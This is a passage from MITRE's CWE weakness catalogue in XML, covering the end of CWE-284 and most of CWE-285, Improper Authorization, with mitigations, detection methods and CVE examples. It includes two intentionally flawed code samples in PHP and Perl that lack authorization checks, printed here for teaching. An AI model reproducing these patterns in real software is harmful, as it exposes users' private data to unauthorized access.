            <Related_Attack_Pattern CAPEC_ID="19"/>
            <Related_Attack_Pattern CAPEC_ID="441"/>
            <Related_Attack_Pattern CAPEC_ID="478"/>
            <Related_Attack_Pattern CAPEC_ID="479"/>
            <Related_Attack_Pattern CAPEC_ID="502"/>
            <Related_Attack_Pattern CAPEC_ID="503"/>
            <Related_Attack_Pattern CAPEC_ID="536"/>
            <Related_Attack_Pattern CAPEC_ID="546"/>
            <Related_Attack_Pattern CAPEC_ID="550"/>
            <Related_Attack_Pattern CAPEC_ID="551"/>
            <Related_Attack_Pattern CAPEC_ID="552"/>
            <Related_Attack_Pattern CAPEC_ID="556"/>
            <Related_Attack_Pattern CAPEC_ID="558"/>
            <Related_Attack_Pattern CAPEC_ID="562"/>
            <Related_Attack_Pattern CAPEC_ID="563"/>
            <Related_Attack_Pattern CAPEC_ID="564"/>
            <Related_Attack_Pattern CAPEC_ID="578"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 6, &#34;Determining Appropriate Access Control&#34; Page 171"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 17: Failure to Protect Stored Data.&#34; Page 253"/>
            <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: CWE-284 is extremely high-level, a Pillar. Its name, "Improper Access Control," is often used in low-information vulnerability reports [REF-1287]. It is not useful for trend analysis.</xhtml:p>
               <xhtml:p>Comments: consider using descendants of CWE-284 that are more specific to the kind of access control involved, such as those involving:</xhtml:p>
	       <xhtml:ul>
		 <xhtml:li>authorization (Missing Authorization (CWE-862), Incorrect Authorization (CWE-863), Incorrect Permission Assignment for Critical Resource (CWE-732), etc.)</xhtml:li>
		 <xhtml:li>authentication (Missing Authentication (CWE-306) or Weak Authentication (CWE-1390))</xhtml:li>
		 <xhtml:li>Incorrect User Management (CWE-286)</xhtml:li>
		 <xhtml:li>Improper Restriction of Communication Channel to Intended Endpoints (CWE-923)</xhtml:li>
		 <xhtml:li>etc.</xhtml:li>
	       </xhtml:ul>
            </Note>
            <Note Type="Maintenance">
               <xhtml:p>This entry needs more work. Possible sub-categories include:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Trusted group includes undesired entities (partially covered by CWE-286)</xhtml:li>
                  <xhtml:li>Group can perform undesired actions</xhtml:li>
                  <xhtml:li>ACL parse error does not fail closed</xhtml:li>
               </xhtml:ul>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-24</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Changed name and description; clarified difference between "access control" and "authorization."</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Modes_of_Introduction, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Description, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Access Control Issues</Previous_Entry_Name>
            <Previous_Entry_Name Date="2011-03-29">Access Control (Authorization) Issues</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="285" Name="Improper Authorization" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.</Description>
         <Extended_Description>
            <xhtml:p>Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.</xhtml:p>
            <xhtml:p>When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Often"/>
            <Technology Name="Database Server" Prevalence="Often"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>AuthZ</Term>
               <Description>"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</xhtml:p>
                  <xhtml:p>A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.</xhtml:p>
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>
                  <xhtml:p>Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.</xhtml:p>
               </Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Modify Files or Directories</Impact>
               <Note>An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</Note>
            </Consequence>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-6">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.</xhtml:p>
                  <xhtml:p>Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Dynamic Analysis</Method>
               <Description>Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Analysis</Method>
               <Description>
                  <xhtml:p>This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.</xhtml:p>
                  <xhtml:p>Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.</xhtml:p>
               </Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.</Effectiveness_Notes>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host Application Interface Scanner</xhtml:li>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.</xhtml:p>
                  <xhtml:p>Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.4">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.</xhtml:p>
                  <xhtml:p>One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Phase>Installation</Phase>
               <Description>Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-95">
               <Intro_Text>This function runs an arbitrary SQL query on a given database, returning the result of the query.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function runEmployeeQuery($dbName, $name){<xhtml:div style="margin-left:1em;">mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);<xhtml:br/>
                        <xhtml:i>//Use a prepared statement to avoid CWE-89</xhtml:i>
                        <xhtml:br/>$preparedStatement = $globalDbHandle-&gt;prepare('SELECT * FROM employees WHERE name = :name');<xhtml:br/>$preparedStatement-&gt;execute(array(':name' =&gt; $name));<xhtml:br/>return $preparedStatement-&gt;fetchAll();</xhtml:div>}<xhtml:br/>
                     <xhtml:i>/.../</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);</xhtml:div>
               </Example_Code>
               <Body_Text>While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-96">
               <Intro_Text>The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>sub DisplayPrivateMessage {<xhtml:div style="margin-left:1em;">my($id) = @_;<xhtml:br/>my $Message = LookupMessageObject($id);<xhtml:br/>print "From: " . encodeHTML($Message-&gt;{from}) . "&lt;br&gt;\n";<xhtml:br/>print "Subject: " . encodeHTML($Message-&gt;{subject}) . "\n";<xhtml:br/>print "&lt;hr&gt;\n";<xhtml:br/>print "Body: " . encodeHTML($Message-&gt;{body}) . "\n";</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>my $q = new CGI;<xhtml:br/>
                     <xhtml:i># For purposes of this example, assume that CWE-309 and</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i># CWE-523 do not apply.</xhtml:i>
                     <xhtml:br/>if (! AuthenticateUser($q-&gt;param('username'), $q-&gt;param('password'))) {<xhtml:div style="margin-left:1em;">ExitError("invalid username or password");</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>my $id = $q-&gt;param('id');<xhtml:br/>DisplayPrivateMessage($id);</xhtml:div>
               </Example_Code>
               <Body_Text>While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.</Body_Text>
               <Body_Text>One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-24730</Reference>
               <Description>Go-based continuous deployment product does not check that a user has certain privileges to update or create an app, allowing adversaries to read sensitive repository information</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-24730</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3168</Reference>
               <Description>Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3168</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2960</Reference>
               <Description>Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2960</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3597</Reference>
               <Description>Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3597</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2282</Reference>
               <Description>Terminal server does not check authorization for guest access.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2282</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3230</Reference>
               <Description>Database server does not use appropriate privileges for certain sensitive operations.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3230</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2213</Reference>
               <Description>Gateway uses default "Allow" configuration for its authorization settings.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2213</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0034</Reference>
               <Description>Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0034</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6123</Reference>
               <Description>Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6123</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5027</Reference>
               <Description>System monitoring software allows users to bypass authorization by creating custom forms.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5027</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-7109</Reference>
               <Description>Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-7109</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3424</Reference>
               <Description>Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3424</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3781</Reference>
               <Description>Content management system does not check access permissions for private files, allowing others to view those files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3781</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4577</Reference>
               <Description>ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4577</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6548</Reference>
               <Description>Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6548</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2925</Reference>
               <Description>Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2925</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6679</Reference>
               <Description>Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6679</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3623</Reference>
               <Description>OS kernel does not check for a certain privilege before setting ACLs for files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3623</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2801</Reference>
               <Description>Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2801</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1155</Reference>
               <Description>Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1155</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Missing Access Control</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A10</Entry_ID>
               <Entry_Name>Failure to Restrict URL Access</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A2</Entry_ID>
               <Entry_Name>Broken Access Control</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP35</Entry_ID>
